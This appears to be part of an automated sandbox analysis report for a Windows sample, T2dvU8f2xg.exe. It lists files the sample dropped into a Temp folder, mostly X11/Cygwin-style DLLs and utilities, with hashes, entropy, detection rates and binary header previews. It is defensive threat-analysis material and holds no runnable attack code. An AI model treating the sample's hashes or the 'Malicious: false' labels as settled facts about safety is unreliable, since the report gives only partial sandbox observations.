Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU...........#.............,........... .....m.......................................... ..........................N.......(...........................P..L,...........................@......................T................................text...............................`.P`.data........ ......................@.0..rdata.......0......................@.0@/4......dc.......d..................@.0@.bss....(............................p..edata...N.......P...F..............@.0@.idata...(.........................@.0..CRT....,....0......................@.0..tls.... ....@......................@.0..reloc..L,...P......................@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libwinpthread-1.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	98830
Entropy (8bit):	6.2470966141818
Encrypted:	false
SSDEEP:	1536:IIW8gl4cRxGgURT1nJesB6fyIer2UWrSvTEfqRkb9VhW4iI4im3YcoF:Ieg9xGznJJFmATEYkbviI4im3YcoF
MD5:	C6E473BBED2FA26953BEBFDD0B66419F
SHA1:	226E16684E02C6331F7EE82D02D058E2C55F8BA5
SHA-256:	620A7E658AF05CC848091B8A639854B9B15700A9061B4A3D078523653133A4AF
SHA-512:	277419EAFCEC04618304F19B8B5B4AA55E0233FD6118D92A41D51447F210BE382AAC9098F3476B9D5891EC180C4D3450FA556705E6CD0E6E2B414097860F0E9B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU...........#.........~.....................m.................................u........ .................................p.......P...............................................................................h............................text...d...........................`.P`.data...T...........................@.0..rdata....... ......................@.0@/4......`F...0...H..................@.0@.bss....X.............................p..edata...............R..............@.0@.idata..p............d..............@.0..CRT....0............p..............@.0..tls.... ............r..............@.0..rsrc...P............t..............@.0..reloc...............z..............@.0B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libxcb-1.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	135182
Entropy (8bit):	5.98508601192037
Encrypted:	false
SSDEEP:	3072:aIGpdymum+ToZU+DXGzm7YVB7h0We49UP9PXrW:9mTj++zGzmcVB7h0h49UP9/rW
MD5:	A4212BE49E5CE8F3BF3950CA32C4BF14
SHA1:	53F8E986E5FA3844EB73F063ED01772B53BC2504
SHA-256:	394D2D862F2DDCE71F28D9B933B21A7D6C621C80EF28652574F758F77F01F716
SHA-512:	74520D3B3749D2B61E8A970C1FB29C588F98CE477EAC4CED8837420153A6E739303ACA15ED7D1E070125AFA7F3EE32E452815EF1AF135F8ED39EF2FCE9D333AB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU...........#.....2...................P.....m.......................................... ..........................M...@.. ............................p..x............................`......................@B...............................text...D1.......2..................`.P`.data...D....P.......6..............@.0..rdata..P....`.......8..............@.0@/4...... Y.......Z...P..............@.0@.bss....(.............................p..edata...M.......N..................@.0@.idata.. ....@......................@.0..CRT....,....P......................@.0..tls.... ....`......................@.0..reloc..x....p......................@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libxcb-glx-0.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	97294
Entropy (8bit):	5.832388919684223
Encrypted:	false
SSDEEP:	768:jI00O9W5uWdXoNS2+3rwBmNi9Tuy+2qbPYnqNneNknGTbaqR+niZVGhoD05KhmvV:k0ZsjiWTpOI1
MD5:	C34C77BF9F0407826F8C143B2ED0091A
SHA1:	6763EC1E15B129E0F4CB9EA923716BE4DEA6084A
SHA-256:	AF28820EBEFF29375A3D66DC4044A6C98984A49F9EB0C0F01827C7BA5250E3D1
SHA-512:	C9082EDE99C978A4FC62898CA44DCC4096577B971A4DEBB319D1BA1C3E739CA41B11669D4A56404E7177A9737467C0D10C3EFD09D622190515043C5CA1E8512B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU.\|.........#.........x.....................m.......................................... ......................P..7T...........................................................................................................................text...............................`.P`.data...$...........................@.0..rdata..............................@.0@/4.......H.......J..................@.0@.bss....(....@........................p..edata..7T...P...V..................@.0@.idata...............l..............@.0..CRT....,............r..............@.0..tls.... ............t..............@.0..reloc...............v..............@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libxcb-image-0.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	25614
Entropy (8bit):	5.763041222354717
Encrypted:	false
SSDEEP:	384:MQg1oL5xGT8So2/8iC6KcIId6dTGtDVHJsH9I8qxeHt6Lboi7:1g4i8i5EdTUpGdrBMLV
MD5:	A3718D24F0E6EAE9D6121A1219381AE9
SHA1:	A3377F64D8FB6162F6280D3D924626C1FC6A2FE7
SHA-256:	CB220267FB0116B298BAB6A09A764420D630C52026F7D750F8FFCA4818389327
SHA-512:	43F9C760BE222490D43CBD9589B4AFBC64759919993A1957A13A753CFCC9D94059DBA0B5400A745C377C7BEA1F02F4F8F6F952BEE5B7ED33F6A49EFAEC62E9F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU.d.........#.....2...`...............P.....m................................$;........ ......................................................................................................................................................text...T0.......2..................`.P`.data........P.......6..............@.0..rdata..4....`.......8..............@.0@/4......(....p.......@..............@.0@.bss....(.............................p..edata...............N..............@.0@.idata...............R..............@.0..CRT....,............\..............@.0..tls.... ............^..............@.0..reloc...............`..............@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libxcb-shm-0.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	19470
Entropy (8bit):	5.5382250891949925
Encrypted:	false
SSDEEP:	192:w/gaEEPQOv7AV2SbsZ/oBtUoBx1tFnMDRlqbE9ubTtEHL+zJjIOaDTTsGzXKMy73:MgIv7AV2SbsoBCoBntUSd7z0y74Yd97
MD5:	557ED85A1D8A3308E552A77A9902E8CF
SHA1:	A9ACF7A1DB500A734E95038B29C0BD90F7AF59E7
SHA-256:	E102C9C5B22CEB60DC516AB4124BEA8EC8E808B08EEC48EA7AC674D13FCA82EF
SHA-512:	110ACFC0B886A1FF77B5452E2F813213630BA2EB4610E06942A59DA78E516E05893B049C0D1DDCC077EBABB3A9490CF84FB41F31B62822C9365B60A1B38FD4B8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU.L.........#....."...H...............@.....m.......................................... .........................1.......................................t...................................................$................................text...$ ......."..................`.P`.data...$....@.......&..............@.0..rdata..t....P.......(..............@.0@/4...........`......................@.0@.bss....(....p........................p..edata..1............:..............@.0@.idata...............>..............@.0..CRT....,............D..............@.0..tls.... ............F..............@.0..reloc..t............H..............@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libxcb-util-1.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	24078
Entropy (8bit):	5.9176234058949495
Encrypted:	false
SSDEEP:	384:FlSwg+49czS++g6Od6e4um1J47E6Lx7Ow7qOocOS1:FlWgPdX66wwQJk
MD5:	EE6788D3D3750421E01519A27F86634E
SHA1:	48F4C7DC7BD1208F07E4176E78F035D36682D687
SHA-256:	B5ACF358FF97127EAC9EF4C664A980B937376B5295EF23D77EE338225DE10D60
SHA-512:	12EF0AC4CF9C8461044317E693BCFABDB4BEB34A222B635BA50F6652B5A91B92FF20CB19E916AC60DCA3E8314B7D8CEC710A1C730374BB8F260B8D94F57C9775
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU.^.........#....."...Z...............@.....m................................z/........ .................................x...................................................................................l................................text....!......."..................`.P`.data........@.......&..............@.0..rdata.......P.......(..............@.p@/4......P....p.......:..............@.0@.bss....(.............................p..edata...............H..............@.0@.idata..x............L..............@.0..CRT....,............V..............@.0..tls.... ............X..............@.0..reloc...............Z..............@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\protocol.txt

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	31246
Entropy (8bit):	5.346585834560184
Encrypted:	false
SSDEEP:	768:Kbymx2BnE6BmPzq9+4qI0zLbQz+Ijhs1r0CgiIiHkQZf:Kbnx2BnE6BmPzqx0zLbq+Ijhs2CgiIi7
MD5:	3F8EA5489353F655CA9A948574F02E20
SHA1:	60C509BF7A25C82D432A8E83CEC2B9E6FC917793
SHA-256:	9DBB763F6422CA6A8BABB4A9E3DC2DCD9A8C65C78A230B7066402D5E8175220F
SHA-512:	9A8B31FBCFFBD0239476E1B157FD8EAB8A633B9151E36602476D579B426228FB1A45225595E9F5D35DCB7129DDE996DB1FFFBE156D5D614AB199467F008D1D0A
Malicious:	false
Preview:	# Registry of protocol names used by X Server.# This will eventually be replaced by server-side XCB.#.# Format is Xnnn <extension-name>:<object-name>.# R=Request, V=Event, E=Error.#.# This is a security-sensitive file, please set permissions as appropriate..#.R001 Adobe-DPS-Extension:Init.R002 Adobe-DPS-Extension:CreateContext.R003 Adobe-DPS-Extension:CreateSpace.R004 Adobe-DPS-Extension:GiveInput.R005 Adobe-DPS-Extension:GetStatus.R006 Adobe-DPS-Extension:DestroySpace.R007 Adobe-DPS-Extension:Reset.R008 Adobe-DPS-Extension:NotifyContext.R009 Adobe-DPS-Extension:CreateContextFromID.R010 Adobe-DPS-Extension:XIDFromContext.R011 Adobe-DPS-Extension:ContextFromXID.R012 Adobe-DPS-Extension:SetStatusMask.R013 Adobe-DPS-Extension:CreateSecureContext.R014 Adobe-DPS-Extension:NotifyWhenReady.R000 Apple-DRI:QueryVersion.R001 Apple-DRI:QueryDirectRenderingCapable.R002 Apple-DRI:CreateSurface.R003 Apple-DRI:DestroySurface.R004 Apple-DRI:AuthConnection.V000 Apple-DRI:ObsoleteEvent1.V001 Apple-DRI:O

C:\Users\user\AppData\Local\Temp\Mxt242\bin\setxkbmap.exe

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	57870
Entropy (8bit):	6.133392932650741
Encrypted:	false
SSDEEP:	768:cEB24kkfvkpULi7TIixUfrgRT6QEespXyh4jrNMFn5HbJIF1/9cTtWO:dBJNSI63fRLMih4jrNObG/9GWO
MD5:	7868EDA4CB74545D0051AC5A029D9292
SHA1:	8A9D9A07323F1E0BAB5F63CFB947C0C31E09578E
SHA-256:	E2C3114C6C4F85BCD59236936E889FB8C937D48AE55971089899D98978F5837F
SHA-512:	CA3FA71A621E0EC6C13AEBBEF3153D22B7206D79A19AD078DB63649557609AD0F5FD0144E721AF689C24AD1D5D771B37E3D4B831707F531E77D8184BFED640E9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.................................................@..........................P......~......... .................................l....@.......................................................0..........................d............................text...............................`.P`.data...............................@.p..rdata.. ......."..................@.`@/4..................................@.0@.bss....L.............................p..idata..l...........................@.0..CRT....4.... ......................@.0..tls.... ....0......................@.0..rsrc........@......................@.0.........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\sh

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	data
Category:	dropped
Size (bytes):	26
Entropy (8bit):	4.238901256602631
Encrypted:	false
SSDEEP:	3:wb4uHMLKHx3ovn:wbNHMLKHevn
MD5:	5ABCF1329A8F3125AB5CB30D64C0EA63
SHA1:	81215484527DA30BC0A96CE016CE5342AF4AB9B8
SHA-256:	5049581B0D01A4BAB91F34009A6E93A785CC406B529CB5267770CA8B9B15C89D
SHA-512:	00CE696B50A31845F7B0444B055772730219276C11A9FCA9DF4411B517EC0245FF55328D78F22CE1B544B23288A3ACB8A3EB5ADCF2D2A030825770C3845CF5BD
Malicious:	false
Preview:	!<symlink>/bin/bash.exe...

C:\Users\user\AppData\Local\Temp\Mxt242\bin\swrast_dri.so

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	5761550
Entropy (8bit):	6.331794397000934
Encrypted:	false
SSDEEP:	49152:WkDOXR+Yow66p7pJRqpvQfDlNXWHnCgJf1oQNbpn+1rhEFdwQj6yoclwwPUHQa:WUYow6+R+QhNXWHCgJf1ArGDlBPUH/
MD5:	05FDC592AF4F67CE10CFE808201E9FA6
SHA1:	64A60C22B9EF98E0F897B71911F1424D3A39ACEA
SHA-256:	E958D03DB79E9F1D2770C70A5BC24904AA3E2D27A8D5637684CF8166B38908F2
SHA-512:	856345BE44E6CA3A211BC5A05E41035A28373AC19BD35C09B4352EA74A2B791710CDFD111EC6E27919E57C7BC74F2EB1BFBF2C1C9CFA607672869B3180001213
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU..W........#.....(A...W.. ...........@A...Om..........................[......8X....... .......................V......0Y..............................pY.d............................`Y.....................$3Y..............................text....&A......(A.................`.P`.data...H....@A......,A.............@.p..rdata...E....A..F....A.............@.p@/4......LQ... K..R....J.............@.0@.bss..........S.......................p..edata........V......JS.............@.0@.idata.......0Y.......U.............@.0..CRT....,....PY.......U.............@.0..tls.... ....`Y.......U.............@.0..reloc..d....pY.......U.............@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\twm_w32.exe

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	168462
Entropy (8bit):	6.083349054240189
Encrypted:	false
SSDEEP:	3072:6nPSCj+youG4eDtJWfztJuBS4dM1FULGeK4aTElNVj7GxKjDciScKhkZd:6PSCj+y9mZJsqBS8Oe0WNVPGxKjD5d
MD5:	2AA156E64DAADED05730CC6B1B228F8E
SHA1:	0E1EB3FC195C95E8C4EB4447F8126B316AEB8A38
SHA-256:	7F6195073AE55EDEEBC13BFC69495C75006FB101EE6B1C53262C89B4FC448C16
SHA-512:	9CD2C904DE7E9B620C6A83B4C4A1AA9EA7D5146BFECC7EBF4158733998DAA6BFD56E07B31CBCE887B9798E589269CB99ADB73DE952632E861ECC9CD3911EA569
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Z.B..........................*................@.................................H......... .....................................................................................................................\|................................text...t...........................`.P`.data...............................@.p..rdata..HW.......X..................@.p@/4......t8...`...:...8..............@.0@.bss.....(............................p..idata...............r..............@.0..CRT....4...........................@.0..tls.... ...........................@.0.................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\xhost.exe

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	21518
Entropy (8bit):	5.624677131388813
Encrypted:	false
SSDEEP:	384:uWX5abvPDhKzQAJ5/Lu6tHiSX0bfqJCWO:uW4mNqtWO
MD5:	6B9B189CCC477A4E3BBD7DA3BDB26E00
SHA1:	C0AB24EADDE8BE5DD3AFA6A2C6AA8EF9AF271AAB
SHA-256:	A434D78D4559DA2F198F9A7F19C3CD58619B8E34ED7F615EEA757582B436D84F
SHA-512:	6C8B8F38B8AD050322555E7864946FBD4B7DA9EE0406E0E9B9C9C790D0E9A0F4142C26D1BF660D607BE166D472ACB578ED7F0C5F1DDAE810D413B82D8C13854F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........T...............$...P...............@....@..................................w........ .................................\|.......................................................................................0............................text....#.......$..................`.P`.data...8....@.......(..............@.0..rdata.......P.......*..............@.0@/4...........`.......6..............@.0@.bss.........p........................p..idata..\|............@..............@.0..CRT....4............J..............@.0..tls.... ............L..............@.0..rsrc................N..............@.0.........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	297998
Entropy (8bit):	6.239291524254066
Encrypted:	false
SSDEEP:	6144:J1iSvLlkl4ySmNOnm9MoNFi5L4/WFe64sC88fX3dm56fj:3vL6l4RnIMoNFEL4/WFmf9F
MD5:	B2B22157777ED19C9F1369E2D45C1510
SHA1:	E516B6BAA035F3B852799A88EBBFBA3848B12E60
SHA-256:	0693CFA59AA1F79B1D401AF22D6DD33C1AD64297165345FEF6FEA663B94E91F5
SHA-512:	2B8D558808AD839DEAB960D435D13F240182E16FC8D79292E10E81D5733EE1A5CB7AC7952D43A42CA85BA412EC0EEA0C8B8A576726208B6B836BC00964327F75
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........................$.......$...........@....@........................................... .........................................................................................................................H............................text....#.......$..................`.P`.data........@.......(..............@.p..rdata.......P.......8..............@.p@/4......Xc...0...d..................@.0@.bss....l#............................p..idata...............x..............@.0..CRT....4...........................@.0..tls.... ...........................@.0.................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\xlsatoms.exe

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	19982
Entropy (8bit):	5.560310572631033
Encrypted:	false
SSDEEP:	384:YBWQZT30JuwPwtlWc2CX4Mo0rSrAoxCWO:YBJD9lnpo0eUWO
MD5:	C653D84722A3FB5174E0022F2E604AA3
SHA1:	61364E691811FD65AE072D263E4AF1F287DF429E
SHA-256:	5F85BF253584876C20F6F062E20E56D2707FAD41ECB91218779FD0AD4E65FDEE
SHA-512:	DEADFE9A012250888C23113F79E10B4D97BDDBFA1CA74DD7EB29AA79D634F686F7399B2CD3036707ECD947C73C6D96CA29273F1E19A0878E2644CC18BAC564AF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........N............... ...J...............0....@..................................K........ ..............................p......................................................................................dq...............................text...t........ ..................`.P`.data...8....0.......$..............@.0..rdata..H....@.......&..............@.0@/4...........P.......2..............@.0@.bss.........`........................p..idata.......p.......<..............@.0..CRT....4............D..............@.0..tls.... ............F..............@.0..rsrc................H..............@.0.........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\xlsclients.exe

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	23054
Entropy (8bit):	5.656092882446813
Encrypted:	false
SSDEEP:	384:F0/JKHROF0/Cfe2vMf5hiDFND3L6XS2MZCWO:FEPy6WzmFYiyWO
MD5:	DF978C7B239A219E157133885A3A308D
SHA1:	F4FF6380FCFC4AAC6D1AB478CE74BD2F816C850D
SHA-256:	CB7373ABF3469E8CA6BD0BA21C5E01FB6A4BC6D71547D26EE264D98F0177D9D4
SHA-512:	6D1A9C1606AE59645582C9BB9862E71296823A3374B86640A1E9A1CC94D369391AA3452BBDAEDBB24BF8770E969224946156D46AB88800AA0A8A2B5B3CD70590
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."yes.Z..................V...............@....@........................................... .........................................................................................................................4............................text....).........................`.P`.data...<....@......................@.0..rdata.......P.......0..............@.0@/4......H....`.......:..............@.0@.bss.........p........................p..idata...............F..............@.0..CRT....4............P..............@.0..tls.... ............R..............@.0..rsrc................T..............@.0.........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\xlsfonts.exe

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	27150
Entropy (8bit):	5.800489069231899
Encrypted:	false
SSDEEP:	384:7may3xH6yjpEuwYnB1po8N/Gxav5mXkC+gSqfxoNoASlkKCWO:7RWjpHwYnB1ponXF+gPeqpkWO
MD5:	18B1CA55FF3515EF28C7FAA1C0B528D9
SHA1:	8CEC74F9B405C51B5EB9BA073369A6B513840F24
SHA-256:	A7469445B67E94CB3E9A4B95DAA169056B5F8165B9FC93430B2759063C2C41A8
SHA-512:	2ED5A973069F14C764E8BB7772F853163B86967AAA4BF23A967FB388F8A657A833E06F1C854EA5D920BFA4175F5A2021E18EE2C9F237CACF07F5D6B6C21D931A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........j...............0...f...............@....@.................................. ........ .........................................................................................................................<............................text..../.......0..................`.P`.data...H....@.......4..............@.0..rdata.......P.......6..............@.`@/4...........p.......J..............@.0@.bss..................................p..idata...............V..............@.0..CRT....4............`..............@.0..tls.... ............b..............@.0..rsrc................d..............@.0.........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\xmodmap.exe

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	39438
Entropy (8bit):	5.927657238925169
Encrypted:	false
SSDEEP:	384:E7W7UlQPOrAGEXxYP1az1jfH6vgqQrkLQ8iD+NkfiFCsK/aUUWNIZ2cXQ28+hm+r:E6tQAGYOMGQrkZGsmWa4XDk+7W4WO
MD5:	D624505E5C14E463AA13DEC7C72FA6DF
SHA1:	59100A98247566D73706CC82BD61EEA875639467
SHA-256:	D82D728366DF0109846395D8F95EA0A88133AEA0E69590980BEACA443BAA6819
SHA-512:	75D2292F76B679106A18253F916A9395C35A555565CC553CB71C057E7E30493C2224E5D8622CD68C4389D6A093BF65469B9F16A47DA9F5C12118648EEEA9603E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........................L...................`....@........................................... .................................X.......................................................................................x............................text....K.......L..................`.P`.data...4....`.......P..............@.`..rdata..l....p.......R..............@.`@/4......p............p..............@.0@.bss..................................p..idata..X...........................@.0..CRT....4...........................@.0..tls.... ...........................@.0..rsrc...............................@.0.........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\xprop.exe

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	40974
Entropy (8bit):	6.15509513993494
Encrypted:	false
SSDEEP:	768:+Eb2ojutE48t2/fkrKk/hS+DMXKIXPUE04P6r+FWO:5b2ojunQ0+gRfUE04P6rEWO
MD5:	2369D500678F5DB204C11F067F25D14F
SHA1:	C326C0B9FC6CC5779AEA6FD3B30274E4EF67EB9D
SHA-256:	C81169DBD40D3FF3886AACD9A28834B629CF31D5E6EA72AEA5C566DABBA4A34D
SHA-512:	1BCAD73A493CCEF45024079521BFC0630FEBA8A83D964DEB3168280CCE57E733C39933F14C25488E7EAD439C192E53EE0ABC89FB54CEEFDC99E26A2A659D82A7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........................N.......L...........`....@..........................@......D=........ .................................X....0....................................................... .......................................................text....M.......N..................`.P`.data........`.......R..............@.`..rdata..@!...p..."...X..............@.`@/4...................z..............@.0@.bss....DK............................p..idata..X...........................@.0..CRT....4...........................@.0..tls.... .... ......................@.0..rsrc........0......................@.0.........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\xrdb.exe

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	33294
Entropy (8bit):	5.954880258691992
Encrypted:	false
SSDEEP:	384:qapxEK7vr4ylCN8iI6A3OOvs33+Ginj/yytoHZzr35H03ppt9xS73t0JlCWO:qCPrlCN8imTx1UrpH039C73WO
MD5:	681650D2D6B54441DF9B8618348C0696
SHA1:	7BF695541F47C808827D92DC562826A748972035
SHA-256:	977D1BF4EF969B98FF0A5CE7E18CC9007238056C24CA7A58D17ACCE75211D5C1
SHA-512:	E1F4207BC937AEE546F86318EB5C558F642E4A3E4729B3664E0B45C5D0CDDD8E79402A598EFE62191B0D2E0A3EC1A52F94539E0BC28375FC3575308D618E0945
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."yes.................D...~...............`....@........................................... .....................................................................................................................................................text....C.......D..................`.P`.data...@....`.......H..............@.0..rdata.......p.......J..............@.`@/4......,............\..............@.0@.bss....D.............................p..idata...............l..............@.0..CRT....4............x..............@.0..tls.... ............z..............@.0..rsrc................\|..............@.0.........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\zlib1.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	92174
Entropy (8bit):	6.466938872946625
Encrypted:	false
SSDEEP:	1536:pQrGMvscpi5FEexSwqJFQjF2P5kzfWan9USUnToIfAIO6IOq89CVxX:pahexSwqJFQjF2wUrTBf2Iq6AxX
MD5:	7E507AF32CA219D2F832CF8D90CA805B
SHA1:	4EB56C6F4184EFC5A6BB5C7CAB46547CFA769744
SHA-256:	3668C6749DB59A6CBC5293D0A4F904F76D6FB5048704449DD53894916F408A57
SHA-512:	D19C6A0A0798DB42490631AA9E30DA4200E0B687250DAA5EC8BCFE68AE2589A523ADEACB6C77544488DDC7610FA84BE7477A92C2A27605537A0CAEC2449C87F1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU.h.........#.........d.....................m.................................I........ .........................,....... ...................................................................................,................................text...............................`.P`.data...X...........................@.0..rdata...M.......N..................@.p@/4......."...P...$...(..............@.0@.bss....(.............................p..edata..,............L..............@.0@.idata.. ............V..............@.0..CRT....,............^..............@.0..tls.... ............`..............@.0..reloc...............b..............@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\cygdrive

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	data
Category:	dropped
Size (bytes):	20
Entropy (8bit):	4.1219280948873624
Encrypted:	false
SSDEEP:	3:wb4uBfn:wbNBf
MD5:	2064A8DFFC77A2130D9F64018604769E
SHA1:	D500AE449C156BF0FA0704597A20D9D225C0FF64
SHA-256:	D7F3656E9078257BD9B7558EE2D01E94D3C30B81F035FA3417B745139C9ECCB8
SHA-512:	6DDAD200B271ADF4363AED239F40A85371251697B7DF2F32287A5F284F40CF25DC9156666687EA7F6D30BA5CCC8E277472DAFEFD739D0C44A7EA723786396648
Malicious:	false
Preview:	!<symlink>/drives...

C:\Users\user\AppData\Local\Temp\Mxt242\etc\baseprofile

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text, with very long lines (741)
Category:	dropped
Size (bytes):	18300
Entropy (8bit):	5.139492544768215
Encrypted:	false
SSDEEP:	384:8j1qEbJ6v9Fq/1bXioJujgk9R3DO1kZ+P9q:8j1t1q9Fq/1bXioJVgRDO1kZ+Vq
MD5:	7D0FB66333FE2DDAF38BC069496703FA
SHA1:	CBB20C89E802511CBEE0C7730E9EF30C2644AD72
SHA-256:	D53E0DACB1DA5163E92CFE2789720ADF04C14F67FF88CEE2D0EF87CA6BE98E91
SHA-512:	D1EABC615352BE33828211670E2C4A887EB7029084AB3C28215BC88344A4E7128FEC141AC57ED7167718B528C48ED993A088CC360722A860470DFBD5C796C534
Malicious:	false
